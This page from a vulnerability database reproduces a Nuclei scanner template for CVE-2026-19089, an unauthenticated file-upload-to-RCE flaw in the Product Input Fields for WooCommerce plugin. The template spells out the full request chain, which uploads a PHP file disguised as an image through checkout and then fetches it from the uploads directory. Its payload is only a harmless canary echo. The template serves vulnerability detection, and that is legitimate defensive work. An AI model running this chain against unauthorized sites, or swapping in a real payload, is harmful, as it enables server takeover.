Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| Exploit for CVE-2026-19089 | 9 Sep 202601:00 | – | githubexploit | |
| CVE-2026-19089 | 10 Aug 202606:00 | – | attackerkb | |
| CVE-2026-19089 | 12 Aug 202619:00 | – | circl | |
| CVE-2026-19089 | 10 Aug 202606:00 | – | cve | |
| CVE-2026-19089 Product Input Fields for WooCommerce < 2.0.2 - Unauthenticated Arbitrary File Upload | 10 Aug 202606:00 | – | cvelist | |
| EUVD-2026-55001 | 10 Aug 202606:00 | – | euvd | |
| CVE-2026-19089-WooCommerce-Tyche | 23 Oct 202603:10 | – | kitploit | |
| CVE-2026-19089 | 10 Aug 202607:16 | – | nvd | |
| WordPress Product Input Fields for WooCommerce plugin < 2.0.2 - Unauthenticated Arbitrary File Upload vulnerability | 28 Aug 202612:33 | – | patchstack | |
| PT-2026-69383 | 7 Aug 202600:00 | – | ptsecurity |
10
id: CVE-2026-19089
info:
name: Product Input Fields for WooCommerce < 2.0.2 - Arbitrary File Upload to RCE
author: Het Kalariya
severity: critical
description: |
WooCommerce WordPress plugin < 2.0.2 contains an unrestricted file upload vulnerability caused by lack of validation on uploaded file types when accepted-types setting is empty, letting unauthenticated attackers upload arbitrary files and achieve remote code execution on servers ignoring directory access rules, exploit requires no authentication.
impact: |
Unauthenticated attackers can upload arbitrary files and execute code remotely, potentially leading to full server compromise.
remediation: |
Update to version 2.0.2 or later.
reference:
- https://wpscan.com/vulnerability/c5728a31-de92-40df-ab19-aec4db84ba21/
- https://nvd.nist.gov/vuln/detail/CVE-2026-19089
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-19089
epss-score: 0.00831
epss-percentile: 0.57137
cwe-id: CWE-434
metadata:
verified: true
max-request: 7
vendor: tychesoftwares
product: product-input-fields-for-woocommerce
framework: wordpress
tags: cve,cve2026,wordpress,wp-plugin,woocommerce,product-input-fields-for-woocommerce,fileupload,rce,intrusive
variables:
shopper_email: "[email protected]"
first_name: "Aev"
last_name: "Canary"
http:
- raw:
- |
GET /shop/ HTTP/1.1
Host: {{Hostname}}
- |
GET {{product_path}} HTTP/1.1
Host: {{Hostname}}
- |
POST {{product_path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----pifcanary
------pifcanary
Content-Disposition: form-data; name="add-to-cart"
{{product_id}}
------pifcanary
Content-Disposition: form-data; name="quantity"
1
------pifcanary
Content-Disposition: form-data; name="{{field_name}}"; filename="up.php"
Content-Type: image/jpeg
<?php echo "PIF_CANARY_" . (17 * 31) . "_PHP" . PHP_MAJOR_VERSION . "_OK"; ?>
------pifcanary--
- |
GET /wp-json/wc/store/v1/cart HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-json/wc/store/v1/checkout HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Nonce: {{nonce}}
{"billing_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","email":"{{shopper_email}}","phone":"1234567"},"shipping_address":{"first_name":"{{first_name}}","last_name":"{{last_name}}","address_1":"1 St","city":"C","state":"CA","postcode":"90210","country":"US","phone":"1234567"},"payment_method":"cod"}
- |
GET /wp-json/wc/store/v1/order/{{order_id}}?key={{order_key}}&billing_email={{shopper_email}} HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/uploads/woocommerce_uploads/alg_uploads/product_input_fields/{{item_id}}_up.php HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: product_path
part: body
internal: true
regex:
- 'href="https?://[^/"]*(/product/[A-Za-z0-9\-_]+/?)"'
group: 1
- type: regex
name: product_id
part: body
internal: true
regex:
- 'name="add-to-cart"\s+value="(\d+)"'
group: 1
- type: regex
name: field_name
part: body
internal: true
regex:
- '"fieldName":"(alg_wc_pif_global_\d+)","type":"file"'
- 'type="file"[^>]{0,600}?name="(alg_wc_pif_global_\d+)"'
- 'name="(alg_wc_pif_global_\d+)"[^>]{0,600}?type="file"'
group: 1
- type: regex
name: nonce
part: header
internal: true
regex:
- '(?m)^Nonce:\s*(\S+)'
group: 1
- type: regex
name: order_id
part: body
internal: true
regex:
- '"order_id":\s*(\d+)'
group: 1
- type: regex
name: order_key
part: body
internal: true
regex:
- '"order_key":\s*"([^"]+)"'
group: 1
- type: regex
name: item_id
part: body
internal: true
regex:
- '"items"\s*:\s*\[\s*\{[^}]{0,500}?"id":\s*(\d+)'
group: 1
matchers-condition: and
matchers:
- type: word
part: body
words:
- "PIF_CANARY_527_PHP"
- type: status
status:
- 200
# digest: 4a0a00473045022100cb1685de14b6295f503a75162f6260f0970534f425b984103173ff030681628d022036867bcead085f83646329de14c1eb51f0cdc3308556fe98cb438d2b0a1e978e:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Sep 2026 07:26Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
EPSS0.03232
SSVC